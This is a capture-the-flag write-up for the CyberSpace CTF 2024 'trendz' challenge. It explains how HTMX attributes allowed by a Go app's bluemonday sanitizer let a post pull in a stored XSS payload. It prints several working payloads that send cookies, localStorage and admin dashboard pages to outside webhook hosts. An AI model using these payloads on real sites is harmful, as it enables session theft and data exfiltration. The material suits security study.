← Back to home

CyberSpace CTF 2024 — trendz(zz)?

The latest trendz is all about Go and HTMX, but what could possibly go wrong? A secret post has been hidden deep within the application. Your mission is to uncover it.

Notice anything off in this application? If you suspect something is wrong, report it to the superadmin. You never know what secrets might be uncovered.

nc trendz-bot.challs.csc.tf 1337

We're given a Go server that looks like this:

Code (go):

1package main
2
3import (
4	"app/handlers/custom"
5	"app/handlers/dashboard"
6	"app/handlers/db"
7	"app/handlers/jwt"
8	"app/handlers/service"
9
10	"github.com/gin-gonic/gin"
11)
12
13func main() {
14	s := gin.Default()
15	s.LoadHTMLGlob("templates/*")
16	db.InitDBconn()
17	jwt.InitJWT()
18
19	s.GET("/", func(c *gin.Context) {
20		c.Redirect(302, "/login")
21	})
22	s.GET("/ping", func(c *gin.Context) {
23		c.JSON(200, gin.H{
24			"message": "pong",
25		})
26	})
27	r := s.Group("/")
28	r.POST("/register", service.CreateUser)
29	r.GET("/register", func(c *gin.Context) {
30		c.HTML(200, "register.tmpl", gin.H{})
31	})
32	r.POST("/login", service.LoginUser)
33	r.GET("/login", func(c *gin.Context) {
34		c.HTML(200, "login.tmpl", gin.H{})
35	})
36
37	r.GET("/getAccessToken", service.GenerateAccessToken)
38
39	authorizedEndpoints := r.Group("/user")
40	authorizedEndpoints.Use(service.AuthorizeAccessToken())
41	authorizedEndpoints.GET("/dashboard", dashboard.UserDashboard)
42	authorizedEndpoints.POST("/posts/create", service.CreatePost)
43	authorizedEndpoints.GET("/posts/:postid", service.ShowPost)
44	authorizedEndpoints.GET("/flag", service.DisplayFlag)
45
46	adminEndpoints := r.Group("/admin")
47	adminEndpoints.Use(service.AuthorizeAccessToken())
48	adminEndpoints.Use(service.ValidateAdmin())
49	adminEndpoints.GET("/dashboard", dashboard.AdminDashboard)
50
51	SAEndpoints := r.Group("/superadmin")
52	SAEndpoints.Use(service.AuthorizeAccessToken())
53	SAEndpoints.Use(service.ValidateAdmin())
54	SAEndpoints.Use(service.AuthorizeRefreshToken())
55	SAEndpoints.Use(service.ValidateSuperAdmin())
56	SAEndpoints.GET("/viewpost/:postid", dashboard.ViewPosts)
57	SAEndpoints.GET("/dashboard", dashboard.SuperAdminDashboard)
58	s.NoRoute(custom.Custom404Handler)
59	s.Run(":8000")
60}

This is a 3 part challenge: we can make and share posts, and for part 3 we can report "suspicious posts" to the super admin via nc.

Looking in the posts service, we can find a suspicious sanitize function looking like so:

Code (go):

1func SanitizeData(data string) string {
2	p := bluemonday.NewPolicy()
3	p.AllowURLSchemesMatching(regexp.MustCompile("^https?"))
4	p.AllowAttrs("alt", "cite", "datetime", "dir", "high", "hx-delete", "hx-get", "hx-patch", "hx-post", "hx-put", "hx-swap", "hx-target", "hx-trigger", "hx-vals", "id", "low", "map", "max", "min", "name", "optimum", "value").OnElements("a", "abbr", "acronym", "b", "br", "cite", "code", "dfn", "div", "em", "figcaption", "h1", "h2", "h3", "h4", "h5", "h6", "hgroup", "hr", "i", "mark", "p", "pre", "s", "samp", "small", "span", "strike", "strong", "sub", "sup", "tt", "var", "wbr")
5	html := p.Sanitize(data)
6	return html
7}
8
9func ShowPost(ctx *gin.Context) {
10	postID := ctx.Param("postid")
11	DB := db.GetDBconn()
12	var title string
13	var data string
14	err := DB.QueryRow("SELECT title, data FROM posts WHERE postid = $1", postID).Scan(&title, &data)
15	if err != nil {
16		fmt.Println(err)
17	}
18	html := SanitizeData(data)
19	ctx.PureJSON(200, gin.H{
20		"title": title, "data": html})
21}

It looks like our post data is directly rendered to the DOM via innerHTML, but we're only allowed to use certain allowed tags and attributes defined by the sanitation policy.

Suspiciously, among the allowed attributes are HTMX-specific attributes like hx-get. Reading the documentation,

The hx-get attribute will cause an element to issue a GET to the specified URL and swap the HTML into the DOM using a swap strategy:

Then, we can circumvent the sanitizer by using hx-get to fetch our malicious payload via network request and swap it in to the DOM, giving us XSS.

By default, this swapping only triggers when the element is clicked, but we can use the hx-trigger property to swap in our payload on mount. Worse, however, is that htmx.config.selfRequestsOnly defaults to true, meaning that we can only send HTMX GET requests to the same domain.

We can host semi-arbitrary data on the same domain via posts, but we unfortunately can't simply put our payload in the post data due to the sanitizer. Instead, we can make a post with arbitrary data whose title is our malicious payload, e.g.

Code (html):

1<img src=x onerror='fetch(`https://webhook.site/e9569dad-ec09-4b1f-8125-3e35e1edd678?a=` + document.cookie + JSON.stringify(localStorage))'>

(making sure not to use double quotes lest the payload get JSON-escaped).

Then, our malicious post data would look something like

Code (html):

1<div hx-get="/user/posts/5b3f1b37-3c01-4051-9a7f-1bbc020668e6" hx-trigger="load" hx-swap="innerHTML"></div>

swapping in the first posts's title and data into its innerHTML for XSS.

Looking at the superadmin dashboard,

Code (go):

1package dashboard
2
3import (
4	"fmt"
5	"os"
6
7	"github.com/gin-gonic/gin"
8)
9
10func SuperAdminDashboard(ctx *gin.Context) {
11	fmt.Println("SuperAdmin dashboard accessed")
12	ctx.HTML(200, "superAdminDash.tmpl", gin.H{
13		"flag": os.Getenv("SUPERADMIN_FLAG"),
14	})
15}
16
17func ViewPosts(ctx *gin.Context) {
18	ctx.HTML(200, "viewPost.tmpl", gin.H{
19		"PostID": ctx.Param("postid"),
20		"title":  "Click",
21		"data":   "{{data|safe}}",
22	})
23}

it looks like sending the superadmin to /superadmin/viewpost/{our malicious post id} causes our payload to be rendered into the DOM for XSS, from where we can fetch /superadmin/dashboard to get the part 3 flag. Here's a payload that does just that:

Code (html):

1<img src=x onerror='fetch(`/superadmin/dashboard`).then(x=>x.text()).then(x=>fetch(`https://enhs7ezpdsxpw.x.pipedream.net/` + btoa(x)))'>

Looking in AdminDash.go,

Code (go):

1package dashboard
2
3import (
4	"app/handlers/service"
5	"os"
6
7	"github.com/gin-gonic/gin"
8)
9
10func AdminDashboard(ctx *gin.Context) {
11	posts := service.GetAllPosts()
12	ctx.HTML(200, "adminDash.tmpl", gin.H{
13		"flag":  os.Getenv("ADMIN_FLAG"),
14		"posts": posts,
15	})
16}

because the superadmin is also an admin, we can use the same XSS to fetch /admin/dashboard and get the part 1 flag:

Code (html):

1<img src=x onerror='fetch(`/admin/dashboard`).then(x=>x.text()).then(x=>fetch(`https://enhs7ezpdsxpw.x.pipedream.net/` + btoa(x)))'>